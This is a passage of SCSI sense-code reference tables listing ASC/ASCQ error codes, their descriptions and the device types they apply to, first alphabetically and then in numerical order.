| 00h  05h   T    S     END-OF-DATA DETECTED                                  |
| 14h  03h   T          END-OF-DATA NOT FOUND                                 |
| 00h  02h   T    S     END-OF-PARTITION/MEDIUM DETECTED                      |
| 51h  00h   T     O    ERASE FAILURE                                         |
| 0Ah  00h  DTLPWRSOMC  ERROR LOG OVERFLOW                                    |
| 11h  02h  DT  W SO    ERROR TOO LONG TO CORRECT                             |
| 03h  02h   T          EXCESSIVE WRITE ERRORS                                |
| 3Bh  07h    L         FAILED TO SENSE BOTTOM-OF-FORM                        |
| 3Bh  06h    L         FAILED TO SENSE TOP-OF-FORM                           |
| 00h  01h   T          FILEMARK DETECTED                                     |
| 14h  02h   T          FILEMARK OR SETMARK NOT FOUND                         |
| 09h  02h      WR O    FOCUS SERVO FAILURE                                   |
| 31h  01h  D L    O    FORMAT COMMAND FAILED                                 |
| 58h  00h         O    GENERATION DOES NOT EXIST                             |
+=============================================================================+

Table 71: (continued)
+=============================================================================+
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
| 1Ch  02h  D      O    GROWN DEFECT LIST NOT FOUND                           |
| 00h  06h  DTLPWRSOMC  I/O PROCESS TERMINATED                                |
| 10h  00h  D   W  O    ID CRC OR ECC ERROR                                   |
| 22h  00h  D           ILLEGAL FUNCTION (SHOULD USE 20 00, 24 00, OR 26 00)  |
| 64h  00h       R      ILLEGAL MODE FOR THIS TRACK                           |
| 28h  01h          M   IMPORT OR EXPORT ELEMENT ACCESSED                     |
| 30h  00h  DT  WR OM   INCOMPATIBLE MEDIUM INSTALLED                         |
| 11h  08h   T          INCOMPLETE BLOCK READ                                 |
| 48h  00h  DTLPWRSOMC  INITIATOR DETECTED ERROR MESSAGE RECEIVED             |
| 3Fh  03h  DTLPWRSOMC  INQUIRY DATA HAS CHANGED                              |
| 44h  00h  DTLPWRSOMC  INTERNAL TARGET FAILURE                               |
| 3Dh  00h  DTLPWRSOMC  INVALID BITS IN IDENTIFY MESSAGE                      |
| 2Ch  02h        S     INVALID COMBINATION OF WINDOWS SPECIFIED              |
| 20h  00h  DTLPWRSOMC  INVALID COMMAND OPERATION CODE                        |
| 21h  01h          M   INVALID ELEMENT ADDRESS                               |
| 24h  00h  DTLPWRSOMC  INVALID FIELD IN CDB                                  |
| 26h  00h  DTLPWRSOMC  INVALID FIELD IN PARAMETER LIST                       |
| 49h  00h  DTLPWRSOMC  INVALID MESSAGE ERROR                                 |
| 11h  05h      WR O    L-EC UNCORRECTABLE ERROR                              |
| 60h  00h        S     LAMP FAILURE                                          |
| 5Bh  02h  DTLPWRSOM   LOG COUNTER AT MAXIMUM                                |
| 5Bh  00h  DTLPWRSOM   LOG EXCEPTION                                         |
| 5Bh  03h  DTLPWRSOM   LOG LIST CODES EXHAUSTED                              |
| 2Ah  02h  DTL WRSOMC  LOG PARAMETERS CHANGED                                |
| 21h  00h  DT  WR OM   LOGICAL BLOCK ADDRESS OUT OF RANGE                    |
| 08h  00h  DTL WRSOMC  LOGICAL UNIT COMMUNICATION FAILURE                    |
| 08h  02h  DTL WRSOMC  LOGICAL UNIT COMMUNICATION PARITY ERROR               |
| 08h  01h  DTL WRSOMC  LOGICAL UNIT COMMUNICATION TIME-OUT                   |
| 4Ch  00h  DTLPWRSOMC  LOGICAL UNIT FAILED SELF-CONFIGURATION                |
| 3Eh  00h  DTLPWRSOMC  LOGICAL UNIT HAS NOT SELF-CONFIGURED YET              |
| 04h  01h  DTLPWRSOMC  LOGICAL UNIT IS IN PROCESS OF BECOMING READY          |
| 04h  00h  DTLPWRSOMC  LOGICAL UNIT NOT READY, CAUSE NOT REPORTABLE          |
| 04h  04h  DTL    O    LOGICAL UNIT NOT READY, FORMAT IN PROGRESS            |
| 04h  02h  DTLPWRSOMC  LOGICAL UNIT NOT READY, INITIALIZING COMMAND REQUIRED |
| 04h  03h  DTLPWRSOMC  LOGICAL UNIT NOT READY, MANUAL INTERVENTION REQUIRED  |
| 25h  00h  DTLPWRSOMC  LOGICAL UNIT NOT SUPPORTED                            |
| 15h  01h  DTL WRSOM   MECHANICAL POSITIONING ERROR                          |
| 53h  00h  DTL WRSOM   MEDIA LOAD OR EJECT FAILED                            |
| 3Bh  0Dh          M   MEDIUM DESTINATION ELEMENT FULL                       |
| 31h  00h  DT  W  O    MEDIUM FORMAT CORRUPTED                               |
| 3Ah  00h  DTL WRSOM   MEDIUM NOT PRESENT                                    |
| 53h  02h  DT  WR OM   MEDIUM REMOVAL PREVENTED                              |
| 3Bh  0Eh          M   MEDIUM SOURCE ELEMENT EMPTY                           |
| 43h  00h  DTLPWRSOMC  MESSAGE ERROR                                         |
| 3Fh  01h  DTLPWRSOMC  MICROCODE HAS BEEN CHANGED                            |
| 1Dh  00h  D   W  O    MISCOMPARE DURING VERIFY OPERATION                    |
| 11h  0Ah  DT     O    MISCORRECTED ERROR                                    |
| 2Ah  01h  DTL WRSOMC  MODE PARAMETERS CHANGED                               |
| 07h  00h  DTL WRSOM   MULTIPLE PERIPHERAL DEVICES SELECTED                  |
| 11h  03h  DT  W SO    MULTIPLE READ ERRORS                                  |
| 00h  00h  DTLPWRSOMC  NO ADDITIONAL SENSE INFORMATION                       |
| 00h  15h       R      NO CURRENT AUDIO STATUS TO RETURN                     |
| 32h  00h  D   W  O    NO DEFECT SPARE LOCATION AVAILABLE                    |
| 11h  09h   T          NO GAP FOUND                                          |
| 01h  00h  D   W  O    NO INDEX/SECTOR SIGNAL                                |
| 06h  00h  D   WR OM   NO REFERENCE POSITION FOUND                           |
+=============================================================================+

Table 71: (continued)
+=============================================================================+
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
| 02h  00h  D   WR OM   NO SEEK COMPLETE                                      |
| 03h  01h   T          NO WRITE CURRENT                                      |
| 28h  00h  DTLPWRSOMC  NOT READY TO READY TRANSITION, MEDIUM MAY HAVE CHANGED|
| 5Ah  01h  DT  WR OM   OPERATOR MEDIUM REMOVAL REQUEST                       |
| 5Ah  00h  DTLPWRSOM   OPERATOR REQUEST OR STATE CHANGE INPUT (UNSPECIFIED)  |
| 5Ah  03h  DT  W  O    OPERATOR SELECTED WRITE PERMIT                        |
| 5Ah  02h  DT  W  O    OPERATOR SELECTED WRITE PROTECT                       |
| 61h  02h        S     OUT OF FOCUS                                          |
| 4Eh  00h  DTLPWRSOMC  OVERLAPPED COMMANDS ATTEMPTED                         |
| 2Dh  00h   T          OVERWRITE ERROR ON UPDATE IN PLACE                    |
| 3Bh  05h    L         PAPER JAM                                             |
| 1Ah  00h  DTLPWRSOMC  PARAMETER LIST LENGTH ERROR                           |
| 26h  01h  DTLPWRSOMC  PARAMETER NOT SUPPORTED                               |
| 26h  02h  DTLPWRSOMC  PARAMETER VALUE INVALID                               |
| 2Ah  00h  DTL WRSOMC  PARAMETERS CHANGED                                    |
| 03h  00h  DTL W SO    PERIPHERAL DEVICE WRITE FAULT                         |
| 50h  02h   T          POSITION ERROR RELATED TO TIMING                      |
| 3Bh  0Ch        S     POSITION PAST BEGINNING OF MEDIUM                     |
| 3Bh  0Bh        S     POSITION PAST END OF MEDIUM                           |
| 15h  02h  DT  WR O    POSITIONING ERROR DETECTED BY READ OF MEDIUM          |
| 29h  00h  DTLPWRSOMC  POWER ON, RESET, OR BUS DEVICE RESET OCCURRED         |
| 42h  00h  D           POWER-ON OR SELF-TEST FAILURE (SHOULD USE 40 NN)      |
| 1Ch  01h  D      O    PRIMARY DEFECT LIST NOT FOUND                         |
| 40h  00h  D           RAM FAILURE (SHOULD USE 40 NN)                        |
| 15h  00h  DTL WRSOM   RANDOM POSITIONING ERROR                              |
| 3Bh  0Ah        S     READ PAST BEGINNING OF MEDIUM                         |
| 3Bh  09h        S     READ PAST END OF MEDIUM                               |
| 11h  01h  DT  W SO    READ RETRIES EXHAUSTED                                |
| 14h  01h  DT  WR O    RECORD NOT FOUND                                      |
| 14h  00h  DTL WRSO    RECORDED ENTITY NOT FOUND                             |
| 18h  02h  D   WR O    RECOVERED DATA - DATA AUTO-REALLOCATED                |
| 18h  05h  D   WR O    RECOVERED DATA - RECOMMEND REASSIGNMENT               |
| 18h  06h  D   WR O    RECOVERED DATA - RECOMMEND REWRITE                    |
| 17h  05h  D   WR O    RECOVERED DATA USING PREVIOUS SECTOR ID               |
| 18h  03h       R      RECOVERED DATA WITH CIRC                              |
| 18h  01h  D   WR O    RECOVERED DATA WITH ERROR CORRECTION & RETRIES APPLIED|
| 18h  00h  DT  WR O    RECOVERED DATA WITH ERROR CORRECTION APPLIED          |
| 18h  04h       R      RECOVERED DATA WITH L-EC                              |
| 17h  03h  DT  WR O    RECOVERED DATA WITH NEGATIVE HEAD OFFSET              |
| 17h  00h  DT  WRSO    RECOVERED DATA WITH NO ERROR CORRECTION APPLIED       |
| 17h  02h  DT  WR O    RECOVERED DATA WITH POSITIVE HEAD OFFSET              |
| 17h  01h  DT  WRSO    RECOVERED DATA WITH RETRIES                           |
| 17h  04h      WR O    RECOVERED DATA WITH RETRIES AND/OR CIRC APPLIED       |
| 17h  06h  D   W  O    RECOVERED DATA WITHOUT ECC - DATA AUTO-REALLOCATED    |
| 17h  07h  D   W  O    RECOVERED DATA WITHOUT ECC - RECOMMEND REASSIGNMENT   |
| 17h  08h  D   W  O    RECOVERED DATA WITHOUT ECC - RECOMMEND REWRITE        |
| 1Eh  00h  D   W  O    RECOVERED ID WITH ECC CORRECTION                      |
| 3Bh  08h   T          REPOSITION ERROR                                      |
| 36h  00h    L         RIBBON, INK, OR TONER FAILURE                         |
| 37h  00h  DTL WRSOMC  ROUNDED PARAMETER                                     |
| 5Ch  00h  D      O    RPL STATUS CHANGE                                     |
| 39h  00h  DTL WRSOMC  SAVING PARAMETERS NOT SUPPORTED                       |
| 62h  00h        S     SCAN HEAD POSITIONING ERROR                           |
| 47h  00h  DTLPWRSOMC  SCSI PARITY ERROR                                     |
| 54h  00h     P        SCSI TO HOST SYSTEM INTERFACE FAILURE                 |
| 45h  00h  DTLPWRSOMC  SELECT OR RESELECT FAILURE                            |
+=============================================================================+

Table 71: (concluded)
+=============================================================================+
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
| 3Bh  00h   TL         SEQUENTIAL POSITIONING ERROR                          |
| 00h  03h   T          SETMARK DETECTED                                      |
| 3Bh  04h    L         SLEW FAILURE                                          |
| 09h  03h      WR O    SPINDLE SERVO FAILURE                                 |
| 5Ch  02h  D      O    SPINDLES NOT SYNCHRONIZED                             |
| 5Ch  01h  D      O    SPINDLES SYNCHRONIZED                                 |
| 1Bh  00h  DTLPWRSOMC  SYNCHRONOUS DATA TRANSFER ERROR                       |
| 55h  00h     P        SYSTEM RESOURCE FAILURE                               |
| 33h  00h   T          TAPE LENGTH ERROR                                     |
| 3Bh  03h    L         TAPE OR ELECTRONIC VERTICAL FORMS UNIT NOT READY      |
| 3Bh  01h   T          TAPE POSITION ERROR AT BEGINNING-OF-MEDIUM            |
| 3Bh  02h   T          TAPE POSITION ERROR AT END-OF-MEDIUM                  |
| 3Fh  00h  DTLPWRSOMC  TARGET OPERATING CONDITIONS HAVE CHANGED              |
| 5Bh  01h  DTLPWRSOM   THRESHOLD CONDITION MET                               |
| 26h  03h  DTLPWRSOMC  THRESHOLD PARAMETERS NOT SUPPORTED                    |
| 2Ch  01h        S     TOO MANY WINDOWS SPECIFIED                            |
| 09h  00h  DT  WR O    TRACK FOLLOWING ERROR                                 |
| 09h  01h      WR O    TRACKING SERVO FAILURE                                |
| 61h  01h        S     UNABLE TO ACQUIRE VIDEO                               |
| 57h  00h       R      UNABLE TO RECOVER TABLE-OF-CONTENTS                   |
| 53h  01h   T          UNLOAD TAPE FAILURE                                   |
| 11h  00h  DT  WRSO    UNRECOVERED READ ERROR                                |
| 11h  04h  D   W  O    UNRECOVERED READ ERROR - AUTO REALLOCATE FAILED       |
| 11h  0Bh  D   W  O    UNRECOVERED READ ERROR - RECOMMEND REASSIGNMENT       |
| 11h  0Ch  D   W  O    UNRECOVERED READ ERROR - RECOMMEND REWRITE THE DATA   |
| 46h  00h  DTLPWRSOMC  UNSUCCESSFUL SOFT RESET                               |
| 59h  00h         O    UPDATED BLOCK READ                                    |
| 61h  00h        S     VIDEO ACQUISITION ERROR                               |
| 50h  00h   T          WRITE APPEND ERROR                                    |
| 50h  01h   T          WRITE APPEND POSITION ERROR                           |
| 0Ch  00h   T    S     WRITE ERROR                                           |
| 0Ch  02h  D   W  O    WRITE ERROR - AUTO REALLOCATION FAILED                |
| 0Ch  01h  D   W  O    WRITE ERROR RECOVERED WITH AUTO REALLOCATION          |
| 27h  00h  DT  W  O    WRITE PROTECTED                                       |
|                                                                             |
| 80h  XXh     \                                                              |
| THROUGH       >       VENDOR SPECIFIC.                                      |
| FFh  XX      /                                                              |
|                                                                             |
| XXh  80h     \                                                              |
| THROUGH       >       VENDOR SPECIFIC QUALIFICATION OF STANDARD ASC.        |
| XXh  FFh     /                                                              |
|                       ALL CODES NOT SHOWN ARE RESERVED.                     |
|-----------------------------------------------------------------------------|

22.2 ASC and ASCQ in numerical order

                       Table 364: ASC and ASCQ Assignments

+=============================================================================+
|           D - DIRECT ACCESS DEVICE                                          |
|           .T - SEQUENTIAL ACCESS DEVICE                                     |
|           . L - PRINTER DEVICE                                              |
|           .  P - PROCESSOR DEVICE                                           |
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE                           |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
|  00  00   DTLPWRSOMC  NO ADDITIONAL SENSE INFORMATION                       |
|  00  01    T          FILEMARK DETECTED                                     |
|  00  02    T    S     END-OF-PARTITION/MEDIUM DETECTED                      |
|  00  03    T          SETMARK DETECTED                                      |
|  00  04    T    S     BEGINNING-OF-PARTITION/MEDIUM DETECTED                |
|  00  05    T    S     END-OF-DATA DETECTED                                  |
|  00  06   DTLPWRSOMC  I/O PROCESS TERMINATED                                |
|  00  11   R           AUDIO PLAY OPERATION IN PROGRESS                      |
|  00  12   R           AUDIO PLAY OPERATION PAUSED                           |
|  00  13   R           AUDIO PLAY OPERATION SUCCESSFULLY COMPLETED           |
|  00  14   R           AUDIO PLAY OPERATION STOPPED DUE TO ERROR             |
|  00  15   R           NO CURRENT AUDIO STATUS TO RETURN                     |
|  01  00   DW  O       NO INDEX/SECTOR SIGNAL                                |
|  02  00   DWR OM      NO SEEK COMPLETE                                      |
|  03  00   DTL W SO    PERIPHERAL DEVICE WRITE FAULT                         |
|  03  01    T          NO WRITE CURRENT                                      |
|  03  02    T          EXCESSIVE WRITE ERRORS                                |
|  04  00   DTLPWRSOMC  LOGICAL UNIT NOT READY, CAUSE NOT REPORTABLE          |
|  04  01   DTLPWRSOMC  LOGICAL UNIT IS IN PROCESS OF BECOMING READY          |
|  04  02   DTLPWRSOMC  LOGICAL UNIT NOT READY, INITIALIZING COMMAND REQUIRED |
|  04  03   DTLPWRSOMC  LOGICAL UNIT NOT READY, MANUAL INTERVENTION REQUIRED  |
|  04  04   DTL    O    LOGICAL UNIT NOT READY, FORMAT IN PROGRESS            |
|  05  00   DTL WRSOMC  LOGICAL UNIT DOES NOT RESPOND TO SELECTION            |
|  06  00   DWR OM  NO  REFERENCE POSITION FOUND                              |
|  07  00   DTL WRSOM   MULTIPLE PERIPHERAL DEVICES SELECTED                  |
|  08  00   DTL WRSOMC  LOGICAL UNIT COMMUNICATION FAILURE                    |
|  08  01   DTL WRSOMC  LOGICAL UNIT COMMUNICATION TIME-OUT                   |
|  08  02   DTL WRSOMC  LOGICAL UNIT COMMUNICATION PARITY ERROR               |
|  09  00   DT  WR O    TRACK FOLLOWING ERROR                                 |
|  09  01       WR O    TRA CKING SERVO FAILURE                               |
|  09  02       WR O    FOC US SERVO FAILURE                                  |
|  09  03       WR O    SPI NDLE SERVO FAILURE                                |
+=============================================================================+

Table 364: (continued)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                                          |
|           .T - SEQUENTIAL ACCESS DEVICE                                     |
|           . L - PRINTER DEVICE                                              |
|           .  P - PROCESSOR DEVICE                                           |
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE                           |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
|  0A  00   DTLPWRSOMC  ERROR LOG OVERFLOW                                    |
|  0B  00                                                                     |
|  0C  00    T     S    WRITE ERROR                                           |
|  0C  01   D   W  O    WRITE ERROR RECOVERED WITH AUTO REALLOCATION          |
|  0C  02   D   W  O    WRITE ERROR - AUTO REALLOCATION FAILED                |
|  0D  00                                                                     |
|  0E  00                                                                     |
|  0F  00                                                                     |
|  10  00   D   W  O    ID CRC OR ECC ERROR                                   |
|  11  00   DT  WRSO    UNRECOVERED READ ERROR                                |
|  11  01   DT  W SO    READ RETRIES EXHAUSTED                                |
|  11  02   DT  W SO    ERROR TOO LONG TO CORRECT                             |
|  11  03   DT  W SO    MULTIPLE READ ERRORS                                  |
|  11  04   D   W  O    UNRECOVERED READ ERROR - AUTO REALLOCATE FAILED       |
|  11  05       WR O    L-EC UNCORRECTABLE ERROR                              |
|  11  06       WR O    CIRC UNRECOVERED ERROR                                |
|  11  07       W  O    DATA RESYCHRONIZATION ERROR                           |
|  11  08    T          INCOMPLETE BLOCK READ                                 |
|  11  09    T          NO GAP FOUND                                          |
|  11  0A   DT     O    MISCORRECTED ERROR                                    |
|  11  0B   D   W  O    UNRECOVERED READ ERROR - RECOMMEND REASSIGNMENT       |
|  11  0C   D   W  O    UNRECOVERED READ ERROR - RECOMMEND REWRITE THE DATA   |
|  12  00   D   W  O    ADDRESS MARK NOT FOUND FOR ID FIELD                   |
|  13  00   D   W  O    ADDRESS MARK NOT FOUND FOR DATA FIELD                 |
|  14  00   DTL WRSO    RECORDED ENTITY NOT FOUND                             |
|  14  01   DT  WR O    RECORD NOT FOUND                                      |
|  14  02    T          FILEMARK OR SETMARK NOT FOUND                         |
|  14  03    T          END-OF-DATA NOT FOUND                                 |
|  14  04    T          BLOCK SEQUENCE ERROR                                  |
|  15  00   DTL WRSOM   RANDOM POSITIONING ERROR                              |
|  15  01   DTL WRSOM   MECHANICAL POSITIONING ERROR                          |
|  15  02   DT  WR O    POSITIONING ERROR DETECTED BY READ OF MEDIUM          |
|  16  00   DW     O    DATA SYNCHRONIZATION MARK ERROR                       |
|  17  00   DT  WRSO    RECOVERED DATA WITH NO ERROR CORRECTION APPLIED       |
|  17  01   DT  WRSO    RECOVERED DATA WITH RETRIES                           |
|  17  02   DT  WR O    RECOVERED DATA WITH POSITIVE HEAD OFFSET              |
|  17  03   DT  WR O    RECOVERED DATA WITH NEGATIVE HEAD OFFSET              |
|  17  04       WR O    RECOVERED DATA WITH RETRIES AND/OR CIRC APPLIED       |
|  17  05   D   WR O    RECOVERED DATA USING PREVIOUS SECTOR ID               |
|  17  06   D   W  O    RECOVERED DATA WITHOUT ECC - DATA AUTO-REALLOCATED    |
|  17  07   D   W  O    RECOVERED DATA WITHOUT ECC - RECOMMEND REASSIGNMENT   |
|  17  08   D   W  O    RECOVERED DATA WITHOUT ECC - RECOMMEND REWRITE        |
|  18  00   DT  WR O    RECOVERED DATA WITH ERROR CORRECTION APPLIED          |
|  18  01   D   WR O    RECOVERED DATA WITH ERROR CORRECTION & RETRIES APPLIED|
|  18  02   D   WR O    RECOVERED DATA - DATA AUTO-REALLOCATED                |
|  18  03        R      RECOVERED DATA WITH CIRC                              |
|  18  04        R      RECOVERED DATA WITH LEC                               |
|  18  05   D   WR O    RECOVERED DATA - RECOMMEND REASSIGNMENT               |
|  18  06   D   WR O    RECOVERED DATA - RECOMMEND REWRITE                    |
+=============================================================================+

Table 364: (continued)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                                          |
|           .T - SEQUENTIAL ACCESS DEVICE                                     |
|           . L - PRINTER DEVICE                                              |
|           .  P - PROCESSOR DEVICE                                           |
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE                           |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
|  19  00   D      O    DEFECT LIST ERROR                                     |
|  19  01   D      O    DEFECT LIST NOT AVAILABLE                             |
|  19  02   D      O    DEFECT LIST ERROR IN PRIMARY LIST                     |
|  19  03   D      O    DEFECT LIST ERROR IN GROWN LIST                       |
|  1A  00   DTLPWRSOMC  PARAMETER LIST LENGTH ERROR                           |
|  1B  00   DTLPWRSOMC  SYNCHRONOUS DATA TRANSFER ERROR                       |
|  1C  00   D      O    DEFECT LIST NOT FOUND                                 |
|  1C  01   D      O    PRIMARY DEFECT LIST NOT FOUND                         |
|  1C  02   D      O    GROWN DEFECT LIST NOT FOUND                           |
|  1D  00   D   W  O    MISCOMPARE DURING VERIFY OPERATION                    |
|  1E  00   D   W  O    RECOVERED ID WITH ECC                                 |
|  1F  00                                                                     |
|  20  00   DTLPWRSOMC  INVALID COMMAND OPERATION CODE                        |
|  21  00   DT  WR OM   LOGICAL BLOCK ADDRESS OUT OF RANGE                    |
|  21  01           M   INVALID ELEMENT ADDRESS                               |
|  22  00   D           ILLEGAL FUNCTION (SHOULD USE 20 00, 24 00, OR 26 00)  |
|  23  00                                                                     |
|  24  00   DTLPWRSOMC  INVALID FIELD IN CDB                                  |
|  25  00   DTLPWRSOMC  LOGICAL UNIT NOT SUPPORTED                            |
|  26  00   DTLPWRSOMC  INVALID FIELD IN PARAMETER LIST                       |
|  26  01   DTLPWRSOMC  PARAMETER NOT SUPPORTED                               |
|  26  02   DTLPWRSOMC  PARAMETER VALUE INVALID                               |
|  26  03   DTLPWRSOMC  THRESHOLD PARAMETERS NOT SUPPORTED                    |
|  27  00   DT  W  O    WRITE PROTECTED                                       |
|  28  00   DTLPWRSOMC  NOT READY TO READY TRANSITION(MEDIUM MAY HAVE CHANGED)|
|  28  01           M   IMPORT OR EXPORT ELEMENT ACCESSED                     |
|  29  00   DTLPWRSOMC  POWER ON, RESET, OR BUS DEVICE RESET OCCURRED         |
|  2A  00   DTL WRSOMC  PARAMETERS CHANGED                                    |
|  2A  01   DTL WRSOMC  MODE PARAMETERS CHANGED                               |
|  2A  02   DTL WRSOMC  LOG PARAMETERS CHANGED                                |
|  2B  00   DTLPWRSO C  COPY CANNOT EXECUTE SINCE HOST CANNOT DISCONNECT      |
|  2C  00   DTLPWRSOMC  COMMAND SEQUENCE ERROR                                |
|  2C  01         S     TOO MANY WINDOWS SPECIFIED                            |
|  2C  02         S     INVALID COMBINATION OF WINDOWS SPECIFIED              |
|  2D  00    T          OVERWRITE ERROR ON UPDATE IN PLACE                    |
|  2E  00                                                                     |
|  2F  00   DTLPWRSOMC  COMMANDS CLEARED BY ANOTHER INITIATOR                 |
|  30  00   DT  WR OM   INCOMPATIBLE MEDIUM INSTALLED                         |
|  30  01   DT  WR O    CANNOT READ MEDIUM - UNKNOWN FORMAT                   |
|  30  02   DT  WR O    CANNOT READ MEDIUM - INCOMPATIBLE FORMAT              |
|  30  03   DT          CLEANING CARTRIDGE INSTALLED                          |
|  31  00   DT  W  O    MEDIUM FORMAT CORRUPTED                               |
|  31  01   D L    O    FORMAT COMMAND FAILED                                 |
|  32  00   D   W  O    NO DEFECT SPARE LOCATION AVAILABLE                    |
|  32  01   D   W  O    DEFECT LIST UPDATE FAILURE                            |
|  33  00    T          TAPE LENGTH ERROR                                     |
|  34  00                                                                     |
|  35  00                                                                     |
|  36  00     L         RIBBON, INK, OR TONER FAILURE                         |
+=============================================================================+

Table 364: (continued)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                                          |
|           .T - SEQUENTIAL ACCESS DEVICE                                     |
|           . L - PRINTER DEVICE                                              |
|           .  P - PROCESSOR DEVICE                                           |
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE                           |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
|  37  00   DTL WRSOMC  ROUNDED PARAMETER                                     |
|  38  00                                                                     |
|  39  00   DTL WRSOMC  SAVING PARAMETERS NOT SUPPORTED                       |
|  3A  00   DTL WRSOM   MEDIUM NOT PRESENT                                    |
|  3B  00    TL         SEQUENTIAL POSITIONING ERROR                          |
|  3B  01    T          TAPE POSITION ERROR AT BEGINNING-OF-MEDIUM            |
|  3B  02    T          TAPE POSITION ERROR AT END-OF-MEDIUM                  |
|  3B  03     L         TAPE OR ELECTRONIC VERTICAL FORMS UNIT NOT READY      |
|  3B  04     L         SLEW FAILURE                                          |
|  3B  05     L         PAPER JAM                                             |
|  3B  06     L         FAILED TO SENSE TOP-OF-FORM                           |
|  3B  07     L         FAILED TO SENSE BOTTOM-OF-FORM                        |
|  3B  08    T          REPOSITION ERROR                                      |
|  3B  09         S     READ PAST END OF MEDIUM                               |
|  3B  0A         S     READ PAST BEGINNING OF MEDIUM                         |
|  3B  0B         S     POSITION PAST END OF MEDIUM                           |
|  3B  0C         S     POSITION PAST BEGINNING OF MEDIUM                     |
|  3B  0D           M   MEDIUM DESTINATION ELEMENT FULL                       |
|  3B  0E           M   MEDIUM SOURCE ELEMENT EMPTY                           |
|  3C  00                                                                     |
|  3D  00   DTLPWRSOMC  INVALID BITS IN IDENTIFY MESSAGE                      |
|  3E  00   DTLPWRSOMC  LOGICAL UNIT HAS NOT SELF-CONFIGURED YET              |
|  3F  00   DTLPWRSOMC  TARGET OPERATING CONDITIONS HAVE CHANGED              |
|  3F  01   DTLPWRSOMC  MICROCODE HAS BEEN CHANGED                            |
|  3F  02   DTLPWRSOMC  CHANGED OPERATING DEFINITION                          |
|  3F  03   DTLPWRSOMC  INQUIRY DATA HAS CHANGED                              |
|  40  00   D           RAM FAILURE (SHOULD USE 40 NN)                        |
|  40  NN   DTLPWRSOMC  DIAGNOSTIC FAILURE ON COMPONENT NN (80H-FFH)          |
|  41  00   D           DATA PATH FAILURE (SHOULD USE 40 NN)                  |
|  42  00   D           POWER-ON OR SELF-TEST FAILURE (SHOULD USE 40 NN)      |
|  43  00   DTLPWRSOMC  MESSAGE ERROR                                         |
|  44  00   DTLPWRSOMC  INTERNAL TARGET FAILURE                               |
|  45  00   DTLPWRSOMC  SELECT OR RESELECT FAILURE                            |
|  46  00   DTLPWRSOMC  UNSUCCESSFUL SOFT RESET                               |
|  47  00   DTLPWRSOMC  SCSI PARITY ERROR                                     |
|  48  00   DTLPWRSOMC  INITIATOR DETECTED ERROR MESSAGE RECEIVED             |
|  49  00   DTLPWRSOMC  INVALID MESSAGE ERROR                                 |
|  4A  00   DTLPWRSOMC  COMMAND PHASE ERROR                                   |
|  4B  00   DTLPWRSOMC  DATA PHASE ERROR                                      |
|  4C  00   DTLPWRSOMC  LOGICAL UNIT FAILED SELF-CONFIGURATION                |
|  4D  00                                                                     |
|  4E  00   DTLPWRSOMC  OVERLAPPED COMMANDS ATTEMPTED                         |
|  4F  00                                                                     |
|  50  00    T          WRITE APPEND ERROR                                    |
|  50  01    T          WRITE APPEND POSITION ERROR                           |
|  50  02    T          POSITION ERROR RELATED TO TIMING                      |
|  51  00    T     O    ERASE FAILURE                                         |
|  52  00    T          CARTRIDGE FAULT                                       |
+=============================================================================+

Table 364: (continued)
+=============================================================================+
|           D - DIRECT ACCESS DEVICE                                          |
|           .T - SEQUENTIAL ACCESS DEVICE                                     |
|           . L - PRINTER DEVICE                                              |
|           .  P - PROCESSOR DEVICE                                           |
|           .  .W - WRITE ONCE READ MULTIPLE DEVICE                           |
|           .  . R - READ ONLY (CD-ROM) DEVICE                                |
|           .  .  S - SCANNER DEVICE                                          |
|           .  .  .O - OPTICAL MEMORY DEVICE                                  |
|           .  .  . M - MEDIA CHANGER DEVICE                                  |
|           .  .  .  C - COMMUNICATION DEVICE                                 |
|           .  .  .  .                                                        |
| ASC ASCQ  DTLPWRSOMC  DESCRIPTION                                           |
| --- ----              ----------------------------------------------------- |
|  53  00   DTL WRSOM   MEDIA LOAD OR EJECT FAILED                            |
|  53  01    T          UNLOAD TAPE FAILURE                                   |
|  53  02   DT  WR OM   MEDIUM REMOVAL PREVENTED                              |
|  54  00      P        SCSI TO HOST SYSTEM INTERFACE FAILURE                 |
|  55  00      P        SYSTEM RESOURCE FAILURE                               |
|  56  00                                                                     |
|  57  00        R      UNABLE TO RECOVER TABLE-OF-CONTENTS                   |
|  58  00     O         GENERATION DOES NOT EXIST                             |
|  59  00     O         UPDATED BLOCK READ                                    |
